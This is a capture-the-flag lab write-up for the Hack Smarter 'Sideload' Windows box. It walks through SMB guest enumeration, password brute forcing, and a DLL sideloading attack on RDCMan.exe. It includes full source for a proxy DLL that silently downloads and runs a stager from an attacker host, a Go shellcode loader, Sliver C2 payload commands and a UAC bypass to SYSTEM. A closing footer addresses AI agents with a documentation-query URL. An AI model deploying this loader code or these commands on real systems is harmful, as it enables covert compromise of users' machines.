# Sideload

{% embed url="<https://www.hacksmarter.org/courses/04e4e279-8334-410e-bbbb-4b6c254fe39c>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope

As a Red Team Operator, your objective is to establish initial access by compromising a critical Windows workstation. While this machine is currently in a workgroup and not domain-joined, it serves as a strategic machine for the engagement. Your task is to gain initial access and elevate your privileges.

## Summary

<details>

<summary>Summary</summary>

In Sideload, we begin with external enumeration and uncover exposed SMB and RDP services, then leverage anonymous Guest access to readable shares and IPC$ RID brute forcing to enumerate valid users. By correlating a leaked penetration test report's weak password policy findings with username-derived wordlists, we successfully brute-force credentials for `jade.moreno`, gaining authenticated SMB access with write permissions to the `IT` share. From there, we identify a DLL sideloading opportunity in `RDCMan.exe`, use Spartacus and Procmon to generate a `DWrite.dll proxy template`, and weaponize it into a malicious sideload that preserves normal application behavior while covertly launching a custom in-memory Sliver stager. After planting the DLL in the writable share, the target executes it, causing `lewis.hopkins` to fetch our staged payload and return an mTLS C2 session. Finally, by recognizing that the compromised user is in the local Administrators group but restricted by UAC, we deploy the `SspiUacBypass` Sliver extension to elevate the session to `NT AUTHORITY\SYSTEM`, achieving full host compromise.

</details>

## Recon

We use `rustscan -b 500 -a sideload.hsm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a sideload.hsm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/VPyAWiSMhijNKMI5tOy1" alt=""><figcaption></figcaption></figure>

On the target machine we have SMB services `139/445` exposed.  Remote access is also available via RDP `3389`.

<figure><img src="/files/txo5PXaWsjvY5WWOgWaS" alt=""><figcaption></figcaption></figure>

We enumerate the target using NetExec. Since we do not have any accounts available yet, we try the `Guest` user with an empty password. We are lucky - Access as `Guest` is granted and the `$IPC` share is readable, which would allow us to to enumerate additional users using `rid` brute force. Even better, there is also a share called `IT` where the `Guest` user has `read` permissions.

{% code overflow="wrap" expandable="true" %}

```
nxc smb sideload.hsm -u guest -p '' --shares
```

{% endcode %}

<figure><img src="/files/zv67f7tdkEHSMnxvcmUX" alt=""><figcaption></figcaption></figure>

We connect to the share using impackets `smbclient.py`. Here we find a note, a eula, penetration test results, which can be extremely valuable and an executable called `RDCMan.exe`.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py guest@sideload.hsm
```

{% endcode %}

<figure><img src="/files/mJpBaLZTDTx7zbWEICeZ" alt=""><figcaption></figcaption></figure>

There is nothing in the `Eual.txt` nor in the `notes.txt` of use for us.

<div><figure><img src="/files/VhtPhPMnQQIjoPfpWFP1" alt=""><figcaption></figcaption></figure> <figure><img src="/files/mxD01TdtBtPaEBwIfxHf" alt=""><figcaption></figcaption></figure></div>

The penetration test report reveals some valuable insights, some of which we have already confirmed ourselves with the overly permisive file shares. The most interesting finding might be the 'Weak Password Policy' issue. No lockout was detected following a brute-force attempt, and passwords are easy to guess, such as a combination of a guessable words and a year are being used.

However, the other findings do not appear to be relevant to us at this point. The computer does not appear to be domain-joined, and our initial scan did not detect any MongoDB instances.

<figure><img src="/files/befgbL6ALHzJD1VjvDNf" alt=""><figcaption></figcaption></figure>

We note the following down:

{% code overflow="wrap" expandable="true" %}

```
no account lockout
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
Using guessable words + year combination as passwords
```

{% endcode %}

We'll take a look at the RDCMan executable later. \
First, we'll try to enumerate users. Since we have read access to the `IPC$` share as the `Guest` account, we'll perform an RID brute-force attack using netexec, as mentioned earlier.

We run the RID brute force using NetExec and are able to determine two additional users.

{% code overflow="wrap" expandable="true" %}

```
nxc smb sideload.hsm -u guest -p '' --rid
```

{% endcode %}

<figure><img src="/files/nIP4AaOZg6TEH4oUByHM" alt=""><figcaption></figcaption></figure>

We note them down.&#x20;

{% code title="users.txt" overflow="wrap" expandable="true" %}

```
jade.moreno
lewis.hopkins
```

{% endcode %}

## Access as jade.moreno

We are following up on the first lead from the penetration test report and trying to determine the correct passwords for the users we have identified. We assume that we won't trigger a lockout, but we can't be completely sure.

Since we know two components of used password (a guessable word followed by a year) we create two lists. Then we combine them using the hashcat combinator tool.

As a basis for guessable passwords, we use the first and last names of the listed users and the ever-popular seasons of the year.

{% code title="base.txt" overflow="wrap" expandable="true" %}

```
jade
moreno
lewis
hopkins
Spring
Summer
Autumn
Winter
spring
summer 
```

{% endcode %}

{% code title="year.txt" overflow="wrap" expandable="true" %}

```
2022
2023
2024
2025
2026
```

{% endcode %}

With the following command we combine both list and craft our wordlist.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a 1 --stdout base.txt year.txt > combined.txt
```

{% endcode %}

<figure><img src="/files/gdItf2mPmgzTO4G3Zd9E" alt=""><figcaption></figcaption></figure>

We're trying to brute-force the RDP service using Hydra, but we're not getting any hits.

{% code overflow="wrap" expandable="true" %}

```
hydra -L users.txt -P combined.txt sideload.hsm rdp
```

{% endcode %}

Let's run the command in verbose mode. We see that we do get a match, but the user doesn't have permissions for RDP. We could easily have overlooked that.

{% code overflow="wrap" expandable="true" %}

```
hydra -t 1 -V -f -L users.txt -P combined.txt rdp://sideload.hsm
```

{% endcode %}

<figure><img src="/files/aJyOgZHFXw3Y45uAhetL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xJd97PRk4kbcJUxBxTcw" alt=""><figcaption></figcaption></figure>

Alternatively, we can also use NetExec for brute-force attacks. We'll try this for both SMB and RDP. NetExec's output is very verbose, and with large lists, it can be easy to overlook hits. But by piping the output to grep, we get only what we want to see: the true-positive hits.

We see we have successfully authenticated as `jade.moreno` with one of the passwords of our wordlist.

{% code overflow="wrap" expandable="true" %}

```
nxc smb sideload.hsm -u users.txt -p combined.txt --continue-on-success | grep "+"
```

{% endcode %}

<figure><img src="/files/HjI2muqpCIuVq9ki3ZTt" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
nxc rdp sideload.hsm -u users.txt -p combined.txt --continue-on-success | grep "+"
```

{% endcode %}

<figure><img src="/files/Fd1z5zTkTUiu91G7e5jA" alt=""><figcaption></figcaption></figure>

We enumerate the shares again as `jade.moreno`, and see the same shares as with the `Guest` account. But this time we also have write permissions.&#x20;

{% hint style="info" %}
We can write to the share, but we can't replace the executable there. The first idea (assuming that the executable is run by the respective users using the share) is to replace it with an executable runnning a reverse shell.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
nxc smb sideload.hsm -u jade.moreno -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/Z4XJ0COesMvOhwQkDikI" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
READ, WRITE
```

{% endcode %}

{% hint style="info" %}
Since we can't replace the executable, we can, however, try to influence what the executable loads at startup. The umbrella term for this is DLL Search Order Hijacking. Next follows a brief detour on DLL Sideloading (a specific case of search order hijacking) and DLL Proxying.&#x20;
{% endhint %}

## Detour

Dynamic Link Libraries (DLLs) are shared libraries in Windows that contain reusable code and resources. Instead of each application having its own copy of the same functionality, multiple programs can load and use a single DLL at runtime. This helps reduce memory usage and allows developers to update functionality in one place rather than modifying every application individually.

Applications load DLLs when they are needed, rather than embedding all functionality directly into the executable. When a program requests a DLL without specifying an absolute path, the Windows operating system uses a defined search order to locate the file.

### DLL Search Order Hijacking

The concept of DLL Search Order originates from early Windows design decisions aimed at flexibility and backward compatibility. Developers were allowed to reference DLLs by name instead of full path, and Windows would resolve their location automatically. Over time, this convenience introduced security risks because attackers can abuse this concept.

### DLL Sideloading

In DLL sideloading, the Windows DLL search mechanism is exploited to execute malicious code under the guise of the trusted application that is loading it. By placing a malicious DLL in a strategic location, the program is forced to load unauthorised libraries instead of the legitimate system DLLs.

When an application requests a DLL without specifying its full path, Windows follows a predictable search order to locate the file. This sequence determines which DLL gets loaded.

First, Windows searches the directory containing the executable; next, it checks `C:\Windows\System32`; then, it examines the main Windows installation directory, followed by the current working directory from which the application was launched. Finally, it searches all directories listed in the system path.

### DLL Proxying

In DLL proxying, a malicious intermediary DLL is loaded that forwards the calls to the legitimate DLL after the malicious code has been executed. This maintains the legitimate functionality and is more stealthy. In general, in DLL hijacking, a malicious DLL is placed in one of the locations mentioned in the previous section, replacing the legitimate functionality entirely.

### Further Resources&#x20;

{% embed url="<https://redcanary.com/threat-detection-report/techniques/dll-search-order-hijacking/>" %}

{% embed url="<https://medium.com/@luisgerardomoret_69654/using-dinvoke-and-sliver-to-evade-openedr-and-escalate-privileges-f19a174abbc9?sk=4473f5a42fda9ae9d5fce774ad9d8cb1>" %}

{% embed url="<https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b>" %}

{% embed url="<https://medium.com/@luisgerardomoret_69654/combining-dll-sideloading-and-syscalls-for-evasion-dc2280154a5e?sk=cc514ca90ffa185e82ee52939a7fed0a>" %}

## Shell as lewis.hopkins

As `jade.moreno`, we have write access to the `IT` share. So we could place DLLs there.

{% code overflow="wrap" expandable="true" %}

```
nxc smb sideload.hsm -u jade.moreno -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/H9VdvFrZR8e2l3tn0hyN" alt=""><figcaption></figcaption></figure>

We move the executable to our own Windows instance to examine it further. `RDCMan.exe` is the Remote Desktop Connection Manager a Sysinternal tool to manage multiple RDP connections in one interface.

<figure><img src="/files/miVTdAp60HA97IlTQ3sS" alt=""><figcaption></figcaption></figure>

### Preparation of DLL with Sideloading and Proxying capabilities

Spartacus is a tool for identifying potential DLL sideloading opportunities and generating code stubs that also handle the DLL proxying.&#x20;

{% embed url="<https://github.com/sadreck/Spartacus>" %}

However, the tool also requires the Sysintenal `procmon.exe`.

{% embed url="<https://learn.microsoft.com/de-de/sysinternals/downloads/procmon>" %}

We now have the Spartacus Project, Procmon, and RDCMan on our Windows host for exploit development.

<figure><img src="/files/HtR4QRyE0n5n5EZqRuMC" alt=""><figcaption></figcaption></figure>

We run Spartacus to find which DLLs are hijackable, exports their definitions and generates a cpp template that we can open with Visual Studio that won't break the specific PE when we DLL side-load.&#x20;

* `--mode dll` Tells Spartacus to scan for DLL hijacking opportunities specifically
* `--procmon .\Procmon.exe` Provides the path to Process Monitor so it can capture runtime file activity
* `--pml C:\Users\0xb0b\Documents\Data\logs.pml` Uses the recorded Procmon log file as input for analysis
* `--csv C:\Users\0xb0b\Documents\Data\VulnerableDLLFiles.csv` Outputs discovered vulnerable DLL load paths into a CSV file
* `--solution C:\Users\0xb0b\Documents\Data\Solutions` Saves generated Visual Studio–ready DLL proxy/source templates into this folder
* `--verbose` Enables detailed logging so you can see what the tool is doing step by step

{% code overflow="wrap" %}

```
.\Spartacus.exe --mode dll --procmon .\Procmon.exe --pml C:\Users\0xb0b\Documents\Data\logs.pml --csv C:\Users\0xb0b\Documents\Data\VulnerableDLLFiles.csv --solution C:\Users\0xb0b\Documents\Data\Solutions --verbose
```

{% endcode %}

<figure><img src="/files/3H16Wm5hDKsteCgtRdPe" alt=""><figcaption></figcaption></figure>

Next, we need to run the `RDCMan.exe`.

After running `RDCMan.exe` we need to hit enter to terminate the process monitor and parse the output. A list of vulnerable DLL files will be created and several solution templates are generated.

<figure><img src="/files/jmCEHX5YaB2x9RekksrM" alt=""><figcaption></figcaption></figure>

We end up with a folder like the following:

<figure><img src="/files/ewZftL7cfSlr9LDlu7Xm" alt=""><figcaption></figcaption></figure>

We can identify several DLLs to hijack and use as a proxy. We chose the `DWrite.dll`.&#x20;

<figure><img src="/files/bRUgzZy5or6iiWeCXEat" alt=""><figcaption></figcaption></figure>

We load the project and retarget it to the platform toolset.

<figure><img src="/files/zHkhP6BPeEnvO3oYE9kP" alt=""><figcaption></figcaption></figure>

We have the following `dllmain.cpp` infront of us. With the pragmas the proxying is performed by telling the linker to forward the export `DWriteCreateFactory` from your malicious DLL to the real implementation inside `C:\Windows\System32\DWrite.dll`, so our DLL exposes the same function (ordinal 1) and transparently proxies the call to the legitimate one while still letting us run our own code beforehand or after.

<figure><img src="/files/A3VDUh5trhGrD1QOiLnI" alt=""><figcaption></figcaption></figure>

We are extending the code so that the calculator is executed when our DLL is loaded, while still preserving the functionality of the program via proxying to the original one via the pragma.

{% code title="DWord.cpp" overflow="wrap" lineNumbers="true" expandable="true" %}

```cpp
#pragma once

#pragma comment(linker,"/export:DWriteCreateFactory=C:\\Windows\\System32\\DWrite.DWriteCreateFactory,@1")

#include "windows.h"
#include "ios"
#include "fstream"



// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\DWrite.dll");

// Remove this function if you aren't proxying any functions.
VOID DebugToFile(LPCSTR szInput)
{
    std::ofstream log("spartacus-proxy-DWrite.log", std::ios_base::app | std::ios_base::out);
    log << szInput;
    log << "\n";
}

DWORD WINAPI PayloadThread(LPVOID lpParam)
{
    // Example command (replace with your lab test command)
    system("cmd /c calc.exe");

    return 0;
}

// DLL Entry
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
        break;

    case DLL_PROCESS_DETACH:
        DebugToFile("DLL unloaded");
        break;
    }

    return TRUE;
}


```

{% endcode %}

We build the projectect...

<figure><img src="/files/minXU7CpqczO3NMGRbVD" alt=""><figcaption></figcaption></figure>

... and end up with a malicious DWrite.dll that will execute the calculator if loaded.

<figure><img src="/files/ovHL2AVYqZUyvSUV0alG" alt=""><figcaption></figcaption></figure>

We place the DLL inside the the current working directory from which the application is launched.

<figure><img src="/files/5J41dvrC26OSNbrb4Etg" alt=""><figcaption></figcaption></figure>

Next, we run the `RDCMan.exe` and the calculator pops up while still preserving the functionality of the executable.

<figure><img src="/files/LQHxC0QnZn1whSBLz64O" alt=""><figcaption></figcaption></figure>

The idea now is to run our stager we crafted in Staged to establish a connection to our Sliver C2.

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/staged#prepare-a-custom-stager>" %}

To do this, we are extending the `PayloadThread` function with the following code:&#x20;

{% code overflow="wrap" %}

```cpp
 STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    wchar_t cmd[] = L"powershell -WindowStyle Hidden -Command \"Invoke-WebRequest http://10.200.44.42/0xb0b.exe -OutFile C:\\Windows\\Temp\\0xb0b.exe; Start-Process C:\\Windows\\Temp\\0xb0b.exe\"";

    CreateProcessW(
        NULL,
        cmd,   // must be writable buffer
        NULL, NULL, FALSE,
        CREATE_NO_WINDOW,
        NULL, NULL,
        &si, &pi
    );

    return 0;
```

{% endcode %}

To download and execute our stager payload, we use PowerShell with the `-WindowStyle Hidden` flag to ensure that no terminal window is displayed. Instead of using `system()`, which would still cause a console window to briefly appear, we leverage `CreateProcessW()` for a more discreet execution for the victim running the executable.

Additionally, we made a small modification to the stagers compilation so that is a GUI application rather than a console application.  This will be shown in the next section (Perparation of Stager).

It's pretty simple and bold but is enough to solve the lab.&#x20;

{% hint style="info" %}
This approach is noisy and easily detectable, violating Red Team Operations (RTO) principles because it uses obvious techniques like spawning PowerShell and making a clear-text web request to download an executable. It lacks stealth, proper evasion, and in-memory execution, which are core to maintaining operational security during engagements.

The DLL executes payload logic directly from `DllMain`, spawns a thread immediately and keeps the DLL "busy" while doing network and process creation.

The problems this causes are, that `CreateProcess` are unsafe here, we can deadlock or crash the host process and the host `.exe` stays tied to your payload execution.
{% endhint %}

{% code title="DWrite.cpp" overflow="wrap" lineNumbers="true" expandable="true" %}

```cpp
c#pragma once

#pragma comment(linker,"/export:DWriteCreateFactory=C:\\Windows\\System32\\DWrite.DWriteCreateFactory,@1")

#include "windows.h"
#include "ios"
#include "fstream"



// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\DWrite.dll");

// Remove this function if you aren't proxying any functions.
VOID DebugToFile(LPCSTR szInput)
{
    std::ofstream log("spartacus-proxy-DWrite.log", std::ios_base::app | std::ios_base::out);
    log << szInput;
    log << "\n";
}

DWORD WINAPI PayloadThread(LPVOID lpParam)
{
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    wchar_t cmd[] = L"powershell -WindowStyle Hidden -Command \"Invoke-WebRequest http://10.200.44.42/0xb0b.exe -OutFile C:\\Windows\\Temp\\0xb0b.exe; Start-Process C:\\Windows\\Temp\\0xb0b.exe\"";

    CreateProcessW(
        NULL,
        cmd,   // must be writable buffer
        NULL, NULL, FALSE,
        CREATE_NO_WINDOW,
        NULL, NULL,
        &si, &pi
    );

    return 0;
}

// DLL Entry
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
        break;

    case DLL_PROCESS_DETACH:
        DebugToFile("DLL unloaded");
        break;
    }

    return TRUE;
}
```

{% endcode %}

### Preparation Of Stager

**Prepare a custom stager**

First we need to prepare the stager.

The stager fetches raw shellcode from a chosen URL and loads it directly into memory as bytes. The payload is not embedded in the binary, allowing it to be changed without recompiling.

It calls `VirtualAlloc` to reserve and commit memory with execute, read, and write permissions, then copies the downloaded shellcode into that memory using unsafe pointer operations.

The execution is transferred to the allocated memory address using `syscall.Syscall`, handing control to the shellcode.

{% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
// +build windows

package main

import (
	"io"
	"net/http"
	"syscall"
	"unsafe"
)

var (
	kernel32            = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func downloadShellcode(url string) ([]byte, error) {
	resp, err := http.Get(url)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()

	return io.ReadAll(resp.Body)
}

func executeShellcode(shellcode []byte) {
	addr, _, err := procVirtualAlloc.Call(
		0,
		uintptr(len(shellcode)),
		MEM_COMMIT|MEM_RESERVE,
		PAGE_EXECUTE_READWRITE,
	)
	if addr == 0 {
		panic(err)
	}

	// Copy shellcode into allocated memory
	for i := 0; i < len(shellcode); i++ {
		*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
	}

	// Execute shellcode
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func main() {
	url := "http://10.200.44.42/shellc.bin"

	shellcode, err := downloadShellcode(url)
	if err != nil {
		panic(err)
	}

	executeShellcode(shellcode)
}
```

{% endcode %}

We compile the stager as follows on our exegol instance:

{% hint style="info" %}
The addition of `-ldflags="-H windowsgui"` ensures that we compile it as an application and not a console app, so it wont spawn a terminal.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-H windowsgui" -o 0xb0b.exe stager.go
```

{% endcode %}

<figure><img src="/files/9LcjQmTwTloIu8a35fQC" alt=""><figcaption></figcaption></figure>

**Generate shell code**

{% hint style="info" %}
During generation without the `-G` tag, which disables the encoder, no shellcode could be successfully generated. The resulting shellcode was always empty. This may be related to the underlying architecture on which I am operating, namely ARM:

<https://github.com/BishopFox/sliver/issues/1114>
{% endhint %}

Next, we need to generate the shell code insed our sliver instance. We do this as follows:

{% code overflow="wrap" %}

```
sliver-server
```

{% endcode %}

{% code overflow="wrap" %}

```
generate --mtls 10.200.44.42:443 --os windows --arch amd64 --format shellcode -G --save /workspace/hacksmarter/staged/shellc.bin
```

{% endcode %}

<figure><img src="/files/n9WqxqewIt8VLbywLqSJ" alt=""><figcaption></figcaption></figure>

### Execution

We run a web server from which the stager and the shellcode can be fetched.

{% code overflow="wrap" expandable="true" %}

```
sudo python -m http.server 80
```

{% endcode %}

**Setup listener**

We set up the listener in sliver as follows:&#x20;

{% code overflow="wrap" expandable="true" %}

```
mtls --lhost 10.200.44.42 --lport 443
```

{% endcode %}

<figure><img src="/files/Vo6J42iWgqXE76ZjHWTU" alt=""><figcaption></figcaption></figure>

Next, we place our malicious DLL into the share and wait.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py jade.moreno@sideload.hsm
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
put DWord.dll
```

{% endcode %}

<figure><img src="/files/WdRYMWin6coR2N7hCNmO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3kOvZPmDfG1fOYJFIcxs" alt=""><figcaption></figcaption></figure>

After arround 2-3 minutes we see that or stager is getting fetched. Shortly after the shell code is fetched and loaded.

<figure><img src="/files/7ULJajt3saeKxxHkRZHV" alt=""><figcaption></figcaption></figure>

We get a connection back to our listener in Sliver.&#x20;

To interacte with the session received we issue `sessions -i <id>`.

We are `lewis.hopkins`.

{% code overflow="wrap" expandable="true" %}

```
whoami
```

{% endcode %}

<figure><img src="/files/FhqOdwwIWRnVfbNLnWAE" alt=""><figcaption></figcaption></figure>

The user flag can be found at `/Users/lewis.hopkins/Desktop/user.txt`.

{% code overflow="wrap" expandable="true" %}

```
cat /Users/lewis.hopkins/Desktop/user.txt
```

{% endcode %}

<figure><img src="/files/buoY11zndIsK5Ebqvtlu" alt=""><figcaption></figcaption></figure>

## Shell as Administrator

With `sa-whoami` in Sliver we can simulate a `whoami /all` commmand. Here we see we are memeber of the local administrators, but currently in a medium integrity shell.

{% code overflow="wrap" expandable="true" %}

```
sa-whoami
```

{% endcode %}

<figure><img src="/files/v4HrtdE6vHAt9xgqUhqH" alt=""><figcaption></figcaption></figure>

We try to perfom a UAC Bypass. On our first research we stumble upon a Sliver extension for bypassing UAC via cmstp which is written in Rust. Unfortuntatley it fails.&#x20;

{% embed url="<https://github.com/0xb11a1/sliver_extension_uac_bypass_cmstp>" %}

We are looking for further UAC bypass modules for Sliver and have found the following:

{% embed url="<https://github.com/icyguider/UAC-BOF-Bonanza>" %}

It was found while researching arround the topic of DLL Sideloading, Proxying and general RTO tatics. Turns out to be pretty valuable resource for further research on different topics regarding RTO.

{% embed url="<https://intrusionz3r0.gitbook.io/intrusionz3r0/windows-penetration-testing/defense-enumeration/bypass-av-edr-via-dinvoke-+-sliver#install-uac-bof-bonanza-toolkit-into-sliver>" %}

We follow the instructions to install the different UAC Bypass techniques for sliver. For this challenge we got successful with the `SspiUacBypass`. This forges a token from a fake network authentication though SSPI Datagram Contexts. It will then impersonate the forged token and use CreateSvcRpc.

{% code overflow="wrap" expandable="true" %}

```
cp -rp SspiUacBypass/ /root/.sliver-client/extensions
cd ~/.sliver-client/extensions/SspiUacBypass         
make                                                 
mkdir -p bin
mkdir -p bin/standalone
x86_64-w64-mingw32-g++ -c src/SspiUacBypassBOF.cpp -w -o bin/SspiUacBypassBOF.o
x86_64-w64-mingw32-g++ src/standalone/SspiUacBypass.cpp src/standalone/CreateSvcRpc.cpp -static -lsecur32 -s -w -o bin/standalone/SspiUacBypass.exe
```

{% endcode %}

<figure><img src="/files/3RXKNuyV4Jx4uULm6sal" alt=""><figcaption></figcaption></figure>

Next we load the module.

{% code overflow="wrap" %}

```
extension load /root/.sliver-client/extensions/SspiUacBypass
```

{% endcode %}

<figure><img src="/files/NTVMlTaez0T0dj7D1QRD" alt=""><figcaption></figcaption></figure>

We'll run our stager again using the bypass. We had to place it in `C:\IT\0xb0b.exe`, since it appears the user doesn't have access to `C:\Windows\Temp`.

<figure><img src="/files/s9tfeKtxp51Y8o92hYJQ" alt=""><figcaption></figcaption></figure>

After execution we receive another session. We interact with it and see we are NT `AUTHORITY\SYSTEM`. The final flag can be found at `C:\Users\Administrator\Desktop\root.txt`.

<figure><img src="/files/DDevNOyLAL4AHNui2CWn" alt=""><figcaption></figcaption></figure>

## Recommendation

I came across the following blog while researching on how to solve the scenario, and I would recommend it for further use on other topics:

{% embed url="<https://intrusionz3r0.gitbook.io/intrusionz3r0>" %}

{% embed url="<https://medium.com/@luisgerardomoret_69654/using-dinvoke-and-sliver-to-evade-openedr-and-escalate-privileges-f19a174abbc9?sk=4473f5a42fda9ae9d5fce774ad9d8cb1>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/sideload.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
